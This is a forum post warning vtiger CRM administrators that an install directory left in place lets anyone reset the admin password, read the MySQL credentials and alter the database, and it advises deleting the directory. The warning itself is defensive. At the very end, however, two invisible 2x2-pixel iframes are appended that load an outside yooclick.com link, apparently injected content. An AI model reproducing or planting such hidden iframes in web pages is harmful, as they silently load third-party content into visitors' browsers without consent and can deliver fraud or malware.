vtiger Security Risk

I was installing the latest branch build from svn and thought of a possible security risk in vtiger. I want to make sure everyone is aware of the risk and takes appropriate action (if necessary). The risk involves not removing the install directory after installing vtiger. Though this is a best practice for anyone familiar with web security, I fear that some vtiger users may not remove this directory. It is not mentioned in any of the install documents to remove it.

If the install directory stays on the server after installation, an informed individual could change the admin password without any trouble at all, they could also view the mysql database and username information. With the current changes in the branch, they could also change the SQL database (readonly tags removed). If the files in the install directory are removed after installation is complete, this risk will not exist.

I am working with the branch team to implement an automated solution into the installation for the next release. For any existing installs, please ensure you remove the install directory in the root of the vtiger installation directory. Not doing so puts your implementation at serious risk.

Moderators, please make this post sticky. Thanks. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;